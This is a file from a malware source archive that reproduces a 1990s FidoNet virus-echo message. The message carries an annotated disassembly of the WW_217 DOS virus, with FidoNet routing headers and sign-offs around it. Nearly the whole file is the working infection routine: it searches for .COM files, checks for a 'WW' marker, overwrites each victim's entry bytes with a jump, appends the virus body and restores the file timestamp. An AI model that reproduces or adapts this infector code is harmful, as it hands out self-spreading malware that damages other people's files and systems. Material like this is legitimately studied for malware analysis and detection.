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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir58.lst

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2021-01-13 00:07:35 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 48 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:17
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : WW_217.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Graham Allen, 2:283/718 (06 Nov 94 17:55)
;* To : Adam Happ
;* Subj : WW_217.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Graham.Allen@f718.n283.z2.fidonet.org
; new virus obtained from Marek Filipiak 1990-10-05
;
; dissasembled by Andrzej Kadlof
;
0100 E90200 jmp 0105
; 0103 00F0 add al,dh
;=========================
; virus main entry point
0105 E8BC00 call 01C4 ; set SI to start of virus code
0108 56 push si
; restore main COM file
0109 81C6D201 add si,01D2 ; 3 oryginal bytes of victim
010D BF0001 mov di,0100
0110 B90300 mov cx,0003
0113 F3A4 rep movsb
0115 5E pop si
0116 B44E mov ah,4E ; find first
0118 BAC901 mov dx,01C9 ; address of *.COM,0 in virus
011B 01F2 add dx,si ; in memory
011D B9FFFF mov cx,FFFF ; all posible atributes
0120 CD21 int 21
0122 723D jb 0161 ; no more files, return to main file
0124 52 push dx
0125 B8023D mov ax,3D02 ; open file for read write
0128 BA9E00 mov dx,009E ; DS:DX ASCIIZ file name
012B CD21 int 21
012D 722B jb 015A ; error
012F 8BD8 mov bx,ax ; store file handle
0131 8B0E9C00 mov cx,[009C] ; file length in DTA
0135 8B169A00 mov dx,[009A]
0139 83EA02 sub dx,0002 ; move file pointer back two bytes
013C B80142 mov ax,4201
013F CD21 int 21
0141 BAD501 mov dx,01D5 ; buffer in virus body
0144 01F2 add dx,si ; in memory
0146 B90200 mov cx,0002 ; number of bytes
0149 B43F mov ah,3F ; read file
014B CD21 int 21
014D 8B84D501 mov ax,[si+01D5] ; readed 2 bytes
0151 3D5757 cmp ax,5757 ; WW virus sygnature
0154 7510 jne 0166 ; file not infected
0156 B43E mov ah,3E ; close file
0158 CD21 int 21
015A 5A pop dx ; restore DTA
015B B44F mov ah,4F ; find next
015D CD21 int 21
015F 73C3 jnb 0124 ; check file
; return to main file
0161 BB0001 mov bx,0100
0164 FFE3 jmp bx
;---------------
; infect file
0166 A19A00 mov ax,[009A] ; file length
0169 2D0300 sub ax,0003 ; starting adres in infected file
016C 8984D001 mov [si+01D0],ax ; form JMP nnnn instruction
0170 E83E00 call 01B1 ; move file pointer at the beginning
0173 BAD201 mov dx,01D2 ; buffer for first 3 bytes of victim
0176 01F2 add dx,si ; in memory
0178 B90300 mov cx,0003 ; number of bytes
017B B43F mov ah,3F ; read file
017D CD21 int 21
017F E82F00 call 01B1 ; move file pointer at the begining
0182 BACF01 mov dx,01CF ; address of new starting bytes
0185 01F2 add dx,si ; in memory
0187 B90300 mov cx,0003 ; number of bytes
018A B440 mov ah,40 ; write to file
018C CD21 int 21
018E E82500 call 01B6 ; move file pointer at the end of file
0191 8BD6 mov dx,si
0193 81C20001 add dx,0100 ; virus code in memory
0197 B9D900 mov cx,00D9 ; virus length
019A B440 mov ah,40 ; write to file
019C CD21 int 21
019E B80157 mov ax,5701 ; set time/date file stamp
01A1 8B0E9600 mov cx,[0096] ; restore from DTA
01A5 8B169800 mov dx,[0098]
01A9 CD21 int 21
01AB B43E mov ah,3E ; close file
01AD CD21 int 21
01AF EBB0 jmp 0161 ; jump to main file
;-------------------------------------------------
; move file pointer to the beginning of the file
01B1 B000 mov al,00
01B3 EB06 jmp 01BB
01B5 90 nop
;--------------------------------------
; move file pointer to the end of file
01B6 B002 mov al,02
01B8 EB01 jmp 01BB
01BA 90 nop
01BB B442 mov ah,42
01BD 31C9 xor cx,cx
01BF 31D2 xor dx,dx
01C1 CD21 int 21
01C3 C3 ret
;----------------------------------------------------
; find address of first byte of virus code in memory
01C4 8BEC mov bp,sp
01C6 8B7600 mov si,[bp]
01C9 81EE0301 sub si,0103
01CD C3 ret
;----------------
; working area
01CE 2A 2E 43 4F 4D 00 ; *.COM, 0
01D4 E9 02 00 ; new first 3 bytes for victim
01D7 EA F0 FF ; oryginal first 3 byte of victim
01DA 00 F0 ; buffer for last 2 bytes of inspected file
01DC 57 57 ; virus sygnature WW
;-+- DinoMail v.1.0 Alpha
; + Origin: Hans' Point with DOSBoss West, Amsterdam (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/w-xxx,/w+xxx Disable (-) or enable (+) warning xxx
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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